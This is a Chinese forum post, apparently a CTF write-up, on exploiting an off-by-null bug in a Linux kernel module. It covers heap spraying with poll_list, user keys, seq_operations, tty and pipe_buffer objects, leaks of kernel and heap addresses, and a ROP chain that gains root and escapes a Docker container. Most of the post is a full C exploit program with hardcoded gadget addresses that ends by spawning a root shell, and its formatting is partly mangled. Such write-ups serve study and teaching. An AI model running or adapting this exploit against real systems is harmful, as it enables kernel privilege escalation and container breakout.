  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。
  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里大概导致其指向某个 user_key_payload。
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被开释,导致 UAF。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()将当前历程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
  1. void bind_core(bool fixed, bool thread) {
  2.    cpu_set_t cpu_set;
  3.    CPU_ZERO(&cpu_set);
  4.    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
  5.    if (thread) {
  6.        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
  7.    } else {
  8.        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  9.    }
  10. }
复制代码
喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
[img=720,437.9236043095005]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659934.png[/img]

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。
[img=720,391.378763866878]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659936.png[/img]

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后开释所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被开释,形成 UAF 。
注意,为了确保开释 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。
  1. static long
  2. setxattr(struct dentry *d, const char __user *name, const void __user *value,
  3.      size_t size, int flags)
  4. {
  5.     int error;
  6.     void *kvalue = NULL;
  7.     char kname[XATTR_NAME_MAX + 1];
  8.     [...]
  9.     if (size) {
  10.         [...]
  11.         kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
  12.         if (!kvalue)
  13.             return -ENOMEM;
  14.        // 修改kmalloc-x内容
  15.         if (copy_from_user(kvalue, value, size)) {
  16.             error = -EFAULT;
  17.             goto out;
  18.         }
  19.         [...]
  20.     }
  21.     error = vfs_setxattr(d, kname, kvalue, size, flags);
  22. out:
  23.     kvfree(kvalue); // 释放kmalloc-x
  24.     return error;
  25. }
复制代码
另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。
[img=720,385.8904109589041]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659935.png[/img]

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。
  1. struct seq_operations {
  2.     void * (*start) (struct seq_file *m, loff_t *pos);
  3.     void (*stop) (struct seq_file *m, void *v);
  4.     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  5.     int (*show) (struct seq_file *m, void *v);
  6. };
  7. struct user_key_payload {
  8.     struct rcu_head rcu;        /* RCU destructor */
  9.     unsigned short  datalen;    /* length of this data */
  10.     char        data[0] __aligned(__alignof__(u64)); /* actual data */
  11. };
  12. struct callback_head {
  13.     struct callback_head *next;
  14.     void (*func)(struct callback_head *head);
  15. } __attribute__((aligned(sizeof(void *))));
  16. #define rcu_head callback_head
复制代码
之后开释不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们界说这个地点为 target_object 。
[img=720,467.8864353312303]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659937.png[/img]

开释 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被开释前,开释劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射结果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。
打开 /dev/ptmx 时会分配 tty_file_private 而且该结构体的 tty 指针会指向 tty_struct 。
  1. int tty_alloc_file(struct file *file)
  2. {
  3.     struct tty_file_private *priv;
  4.     priv = kmalloc(sizeof(*priv), GFP_KERNEL);
  5.     if (!priv)
  6.         return -ENOMEM;
  7.     file->private_data = priv;
  8.     return 0;
  9. }
  10. // kmalloc-32 | GFP_KERNEL
  11. struct tty_file_private {
  12.     struct tty_struct *tty;
  13.     struct file *file;
  14.     struct list_head list;
  15. };
复制代码
 
[img=720,473.2421560740145]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659938.png[/img]

趁 poll_list 还没有开释,开释 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 更换为 pipe_buffer 。
  1. struct pipe_buffer {
  2.         struct page *page;
  3.         unsigned int offset, len;
  4.         const struct pipe_buf_operations *ops;
  5.         unsigned int flags;
  6.         unsigned long private;
  7. };
复制代码
之后 poll_list 开释导致 target_object - 0x18 地区开释。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。
[img=720,411.42857142857144]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659939.png[/img]

docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。
  1.    // commit_creds(&init_creds)
  2.    *rop++ = pop_rdi_ret;
  3.    *rop++ = init_cred;
  4.    *rop++ = commit_creds;
  5.    // current = find_task_by_vpid(getpid())
  6.    *rop++ = pop_rdi_ret;
  7.    *rop++ = getpid();
  8.    *rop++ = find_task_by_vpid;
  9.    // current->fs = &init_fs
  10.    *rop++ = pop_rcx_ret;
  11.    *rop++ = 0x6e0;
  12.    *rop++ = add_rax_rcx_ret;
  13.    *rop++ = pop_rbx_ret;
  14.    *rop++ = init_fs;
  15.    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
  16.    rop++;
复制代码
exp
  1. #ifndef _GNU_SOURCE#define _GNU_SOURCE#endif​#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include ​#define PAGE_SIZE 0x1000​int randint(int min, int max) {    return min + (rand() % (max - min));}​void bind_core(bool fixed, bool thread) {
  2.    cpu_set_t cpu_set;
  3.    CPU_ZERO(&cpu_set);
  4.    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
  5.    if (thread) {
  6.        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
  7.    } else {
  8.        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  9.    }
  10. }​void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("
  11. [*] %s:\n", desc);    }    for (int i = 0; i < len / 8; i += 4) {        printf("  %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");        }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');        }        puts("");    }}​bool is_kernel_text_addr(size_t addr) {    return addr >= 0xFFFFFFFF80000000 && addr = 0xFFFFFFFF80000000 && addr = 0xFFFF888000000000 && addr nfds;    int timer = ((poll_args *) args)->timer;​    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));    for (int i = 0; i < nfds; i++) {        pfds[i].fd = open("/etc/passwd", O_RDONLY);        pfds[i].events = POLLERR;    }​    bind_core(true, true);​    pthread_mutex_lock(&mutex);    poll_threads++;    pthread_mutex_unlock(&mutex);    poll(pfds, nfds, timer);​    bind_core(false, true);​    pthread_mutex_lock(&mutex);    poll_threads--;    pthread_mutex_unlock(&mutex);}​#define N_STACK_PPS 30#define POLL_NUM 0x1000​pthread_t poll_tid[POLL_NUM];​void create_poll_thread(size_t size, int timer) {    poll_args *args = calloc(1, sizeof(poll_args));    args->nfds =         (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)        + N_STACK_PPS;    args->timer = timer;    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);}​void wait_poll_start() {    while (poll_threads != poll_cnt);}​void join_poll_threads(void (*confuse)(void *), void *confuse_args) {    for (int i = 0; i < poll_threads; i++) {        pthread_join(poll_tid[i], NULL);        if (confuse != NULL) {            confuse(confuse_args);        }    }    poll_cnt = poll_threads = 0;}​struct callback_head {    struct callback_head *next;​    void (*func)(struct callback_head *head);} __attribute__((aligned(sizeof(void *))));​#define rcu_head callback_head#define __aligned(x)                    __attribute__((__aligned__(x)))typedef unsigned long long u64;​struct user_key_payload {    struct rcu_head rcu;        /* RCU destructor */    unsigned short datalen;    /* length of this data */    char data[0] __aligned(__alignof__(u64)); /* actual data */};​#define KEY_NUM 199int key_id[KEY_NUM];​int key_alloc(int id, void *payload, int payload_len) {    char description[0x10] = {};    sprintf(description, "%d", id);    return key_id[id] =         syscall(__NR_add_key, "user", description, payload,                 payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);}​int key_update(int id, void *payload, size_t plen) {    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);}​int key_read(int id, void *bufer, size_t buflen) {    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);}​int key_revoke(int id) {    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);}​int key_unlink(int id) {    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);}​struct list_head {    struct list_head *next, *prev;};struct tty_file_private {    struct tty_struct *tty;    struct file *file;    struct list_head list;};​struct page;struct pipe_inode_info;struct pipe_buf_operations;​struct pipe_bufer {    struct page *page;    unsigned int offset, len;    const struct pipe_buf_operations *ops;    unsigned int flags;    unsigned long private;};​struct pipe_buf_operations {    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);};​void get_shell(void) {    char *args[] = {"/bin/bash", "-i", NULL};    execve(args[0], args, NULL);}​#define SEQ_NUM (2048 + 128)#define TTY_NUM 72#define PIPE_NUM 1024​int cormon_fd;char buf[0x20000];​void seq_confuse(void *args) {    open("/proc/self/stat", O_RDONLY);}​size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;size_t pop_rdi_ret = 0xffffffff8116926d;size_t init_cred = 0xFFFFFFFF8245A960;size_t commit_creds = 0xFFFFFFFF810EBA40;size_t pop_r14_pop_r15_ret = 0xffffffff81001615;size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;size_t init_fs = 0xFFFFFFFF82589740;size_t pop_rcx_ret = 0xffffffff8101f5fc;size_t add_rax_rcx_ret = 0xffffffff8102396f;size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;size_t pop_rbx_ret = 0xffffffff811bce34;size_t swapgs_ret = 0xffffffff81a05418;size_t iretq = 0xffffffff81c00f97;​int main() {    bind_core(true, false);    save_status();    signal(SIGSEGV, (void *) get_shell);​    cormon_fd = open("/proc_rw/cormon", O_RDWR);    if (cormon_fd < 0) {        perror("[-] failed to open cormon.");        exit(-1);    }        size_t kernel_offset;    int target_key;    puts("
  12. [*] Saturating kmalloc-32 partial slabs...");​    int seq_fd[SEQ_NUM];    for (int i = 0; i < SEQ_NUM; i++) {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);        if (seq_fd[i] < 0) {            perror("[-] failed to open stat.");            exit(-1);        }        if (i == 2048) {            puts("
  13. [*] Spraying user keys in kmalloc-32...");            for (int j = 0; j < KEY_NUM; j++) {                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);                key_alloc(j, buf, 32);                if (j == 72) {                    bind_core(false, false);                    puts("
  14. [*] Creating poll threads...");                    for (int k = 0; k < 14; k++) {                        create_poll_thread(                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),                             3000);                    }                    bind_core(true, false);                    wait_poll_start();                }            }            puts("
  15. [*] Corrupting poll_list next pointer...");            write(cormon_fd, buf, PAGE_SIZE);            puts("
  16. [*] Triggering arbitrary free...");            join_poll_threads(seq_confuse, NULL);            puts("
  17. [*] Overwriting user key size / Spraying seq_operations structures...");        }    }    puts("
  18. [*] Leaking kernel pointer...");​    for (int i = 0; i < KEY_NUM; i++) {        int len = key_read(i, buf, sizeof(buf));        kernel_offset = search_kernel_offset(buf, len);        if (kernel_offset != INVALID_KERNEL_OFFSET) {            qword_dump("dump leak memory", buf, 0x1000);            target_key = i;            break;        }    }    if (kernel_offset == INVALID_KERNEL_OFFSET) {        puts("[-] failed to leak kernel offset,try again.");        exit(-1);    }​    push_rsi_pop_rsp_ret += kernel_offset;    pop_rdi_ret += kernel_offset;    init_cred += kernel_offset;    commit_creds += kernel_offset;    pop_r14_pop_r15_ret += kernel_offset;    find_task_by_vpid += kernel_offset;    init_fs += kernel_offset;    pop_rcx_ret += kernel_offset;    add_rax_rcx_ret += kernel_offset;    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;    pop_rbx_ret += kernel_offset;    swapgs_ret += kernel_offset;    iretq += kernel_offset;​    puts("
  19. [*] Freeing user keys...");    for (int i = 0; i < KEY_NUM; i++) {        if (i != target_key) {            key_unlink(i);        }    }    sleep(1);​    puts("
  20. [*] Spraying tty_file_private / tty_struct structures...");    int tty_fd[TTY_NUM];    for (int i = 0; i < TTY_NUM; i++) {        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);        if (tty_fd[i] < 0) {            perror("[-] failed to open ptmx");        }    }​    puts("
  21. [*] Leaking heap pointer...");​    size_t target_object = -1;    int len = key_read(target_key, buf, sizeof(buf));    qword_dump("dump leak memory", buf, 0x1000);    for (int i = 0; i < len; i += 8) {        struct tty_file_private *head = (void *) &buf[i];        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)            && head->list.next == head->list.prev && head->list.prev != NULL) {            qword_dump("leak tty_struct addr from tty_file_private", &buf[i],                        sizeof(struct tty_file_private));            target_object = (size_t) head->tty;            printf("[+] tty_struct addr: %p\n", target_object);            break;        }    }    if (target_object == -1) {        puts("[-] failed to leak tty_struct addr.");        exit(-1);    }​    puts("
  22. [*] Freeing seq_operation structures...");    for (int i = 2048; i < SEQ_NUM; i++) {        close(seq_fd[i]);    }​    bind_core(false, false);​    puts("
  23. [*] Creating poll threads...");    for (int i = 0; i < 192; i++) {        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);    }​    bind_core(true, false);​    wait_poll_start();​    puts("
  24. [*] Freeing corrupted key...");    key_unlink(target_key);    sleep(1); // GC key​    puts("
  25. [*] Overwriting poll_list next pointer...");    char key[32] = {};    *(size_t *) &buf[0] = target_object - 0x18;​    for (int i = 0; i < KEY_NUM; i++) {        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);        key_alloc(i, key, 32);    }​    puts("
  26. [*] Freeing tty_struct structures...");    for (int i = 0; i < TTY_NUM; i++) {        close(tty_fd[i]);    }​    sleep(1); // GC TTYs    int pipe_fd[PIPE_NUM][2];    puts("
  27. [*] Spraying pipe_bufer structures...");    for (int i = 0; i < PIPE_NUM; i++) {        pipe(pipe_fd[i]);        write(pipe_fd[i][1], "aaaaaa", 6);    }​    puts("
  28. [*] Triggering arbitrary free...");    join_poll_threads(NULL, NULL);​​    ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);    ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;​​    size_t *rop = (size_t *) buf;​    *rop++ = pop_r14_pop_r15_ret;    rop++;    rop++; // ops​    // commit_creds(&init_creds)
  29.    *rop++ = pop_rdi_ret;
  30.    *rop++ = init_cred;
  31.    *rop++ = commit_creds;
  32.    // current = find_task_by_vpid(getpid())
  33.    *rop++ = pop_rdi_ret;
  34.    *rop++ = getpid();
  35.    *rop++ = find_task_by_vpid;
  36.    // current->fs = &init_fs
  37.    *rop++ = pop_rcx_ret;
  38.    *rop++ = 0x6e0;
  39.    *rop++ = add_rax_rcx_ret;
  40.    *rop++ = pop_rbx_ret;
  41.    *rop++ = init_fs;
  42.    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
  43.    rop++;
  44. ​    // back to user    *rop++ = swapgs_ret;    *rop++ = iretq;    *rop++ = (uint64_t) get_shell;    *rop++ = user_cs;    *rop++ = user_rflags;    *rop++ = user_sp;    *rop++ = user_ss;​    puts("
  45. [*] Spraying ROP chain...");    for (int i = 0; i < 31; i++) {        key_alloc(i, buf, 1024);    }​    puts("
  46. [*] Hijacking control flow...");    for (int i = 0; i < PIPE_NUM; i++) {        close(pipe_fd[i][0]);        close(pipe_fd[i][1]);    }​    sleep(5);​    return 0;}
复制代码
多试几次照旧可以乐成的。
[img=720,543.7190082644628]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659933.png[/img]

更多网安技能的在线实操练习,请点击这里>>
  
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户国营

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表